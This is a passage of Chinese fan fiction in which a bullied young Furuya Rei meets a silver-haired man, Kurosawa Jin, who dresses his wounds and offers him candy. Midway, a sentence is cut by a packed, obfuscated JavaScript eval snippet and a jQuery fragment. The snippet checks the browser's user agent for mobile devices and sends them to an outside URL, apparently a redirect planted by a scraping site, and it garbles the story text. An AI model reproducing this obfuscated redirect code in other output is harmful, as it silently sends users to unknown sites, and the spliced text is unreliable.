“你不属于这里!你这个头发颜色和我们不一样的怪胎!”
尖锐的童声轻而易举地说出伤害他人的辱骂指责,伴随着周围同龄人的嘲笑和赞同,一群小孩另一个金发黑皮的小男孩围在中间。
降谷零的大脑被愤怒占据,他挥舞着拳头,呲牙瞪着面前的一群人。
“你们,又想打架吗!我才不是怪物!”
“你只会打架吗,怪不得没有人喜欢你!”
一个小女孩叉着腰,对着降谷零大声地喊道。
“才不是你说的那样!”
降谷零的瞳孔一下骤缩,却想到了女医生一家的离开,一瞬间酸涩上涌,却是倔强地咬着嘴唇,直愣愣地站在那里,不愿意服输。
“就是!就是!”周围的小孩此起彼伏地附和着,脸上耀武扬威的表情像是获得了一场了不起的胜利。
“你就是怪胎!”
降谷零气急,作势就要冲上去,用拳头想要狠狠地打在为首的那个男孩的脸上,但在最后又放轻了力道,改换了方向,只是把人往后推了几步。
没想到自己却冲进了包围圈,被同龄人团团围住,在他背后的男孩同样伸手重重推了他一下,让他反应不及,重重地往前扑倒,摔在了地上。
膝盖处破皮了啊……
感受着手掌和膝盖处传来的火辣辣的灼烧痛感,灵敏的神经末梢传递着急剧跳动的心脏震颤。
降谷零死死地皱着眉头,表情僵硬,紧紧咬着嘴唇,不显露一丝一毫的狼狈。
那群小孩像是玩够了,从半跪在地上的降谷零身边路过,走出了快到傍晚已经无人的公园。
他晃晃悠悠地站了起来,低头看着自己蹭到水泥地上,手肘处,膝盖处的伤口,那里是层层的血痕,不深不浅地横亘着。
此时沙土混着鲜血流下,传递着针刺的闷热痛意,让他十分难堪。
可是艾莲娜医生已经不在了……会拉着他去诊所疗伤的那个小女孩也走了……
降谷零死咬着的嘴唇松开了,眼眶中积蓄的泪珠一颗一颗落下。
不行,我要自己去给自己处理伤口!
他给自己打了把汽,用手背重重抹了两把眼泪,背着书包往另一条方向走。
眼中的湿润把他的睫毛打湿,让他有些看不清前方的景物,只敢用力地眨眨眼,慢吞吞地挪动着脚步。
不经意间抬头,却看见不远处的长椅处坐着一个穿黑衣的男人。
不甚感兴趣的垂下眼眸,打算慢慢从男人身旁挪过。
可是好奇心还是抵过了一切。
一个在即将黑夜的傍晚,在所有人都离开进行晚餐活动的时候,为什么会一个人坐在这里发呆呢?
于是他又抬头了。
“……哥哥,你的手流血了。”
站在男人的面前踌躇半天,却见自己的小不点身高,让仰头望天的男人根本没有注意到他。
可在抬头偷瞄的一瞬间,就注意到了男人放在身侧不断向下滴血的手背。
很长的一道划痕,蜿蜒着流出鲜血,像是赤色的玉,残缺又有美感。
犹犹豫豫地出声,清脆的童音打破这片空间的寂静。
提醒这个哥哥手受伤了,他就会处理伤口,或许我也能跟着处理一下自己的伤口,不然还要拜托家里的保姆买药,太麻烦了。
年幼的降谷零是这样想的。
年长的黑泽阵后知后觉地反应过来这句话是对自己说的。
从世界意识滔滔不绝愈演愈烈的剧本分享欲中抽离出来,低头看到一只金发黑皮的小男孩泪眼汪汪地盯着自己,用手指着他的身侧。
到膝盖处的短裤无法完全遮住破碎的伤口,伸出的手掌处也同样是鲜血淋漓。
“你受伤了是吗?”
他自觉领悟到了这小不点的意思。
“不是,”降谷零一本正经地回答,又发现自己说错了话,皱了皱眉,“我是受伤了,但是你的手也受伤了。”
“……啊。”黑泽阵抬起右手,观察了一下这道划痕,没什么反映的应了一声。
世界意识给这具身体提供了长期的痛觉减弱,导致这样的小伤他都想不起来是什么时候发生的。
降谷零觉得面前的大人有些奇怪。
“伤口,不需要处理吗?”
将口中的“没关系”咽下,看着眼前的男孩不安又期待的眼神,他没能把拒绝说出口。
这种纯粹的眼神很难看到,亦或者说,在组织基地里的这几年里,除了研究员对他狂热而疯狂的眼神,他很少能看到其他的什么。
此时就好像抓住了什么。
思考
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16332933|183329||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了几秒。
“那我们一起去处理吧。”
男人的语气上扬,带着轻微的笑意,从长椅上站起。
降谷零又眨了眨眼,从被泪水模糊的眼眶中仰头看着站在他面前的男人。
他有着一头银色的中长发,剔透的浅蓝色眼睛,鼻梁高挺,长相年轻俊美,轮廓深邃忧郁,看起来是个外国人。
身形高挑,穿着黑色的长风衣,不过身材有些过于瘦弱了,像是衣服撑着人站立着,透着微妙的违和感。
莫名地给人一种倦怠而疏离的遥远之感。
就好像他和其他人不生活在同一世界,淡淡的目光看向他时,如同掠过无生命的静物,也好像隔了层什么。
可当他轻轻浅浅地朝自己露出一抹微笑来的时候,冷淡被冲刷,藏在冰山之下的温柔显露,极富有吸引力,是一种矛盾却糅杂地完美的气质。
易碎感和距离感同时出现在这个人身上。
降谷零从未见过这样的人。
嘴角微动,想说些什么又说不出口。
以孩童的视角来面临这一切是在有些太过残忍和不适应,以至于一直拿着坚硬带刺的外壳面对世界。
因此让他面对偶尔向他释放一丝善意的大人时,来不及转变自己的态度,又充满警惕地不想暴露自己柔软的内里。
“不需要处理伤口吗,小朋友。”
男人又问了一遍。
降谷零又看了一眼男人,低头默默地点了点头。
“那在这等我,我去买药。”黑泽阵丢下一句话后快步离开,风衣掀起秋意一缕。
……
降谷零低头看着被娴熟的技巧完美处理好的伤口,很小声地道了一声“谢谢”。
“不客气。”黑泽阵将碘酒等重新放回袋子里。
“怎么受伤的,是不小心摔跤了吗?”
降谷零一愣,抿了抿嘴,幅度很小地点了点头。
“小孩子不要撒谎。”微凉的大手轻拍低垂的金发脑袋,头顶传来的语气是那样轻柔。
另一只手放低,伸到他的视线下方。
手掌摊开,是一颗五彩斑斓的糖果。
“不过受伤的小孩有这样的特权。”他慢条斯理地接上后半句话,语气平缓。
“吃糖吗?心情说不定会好一点。”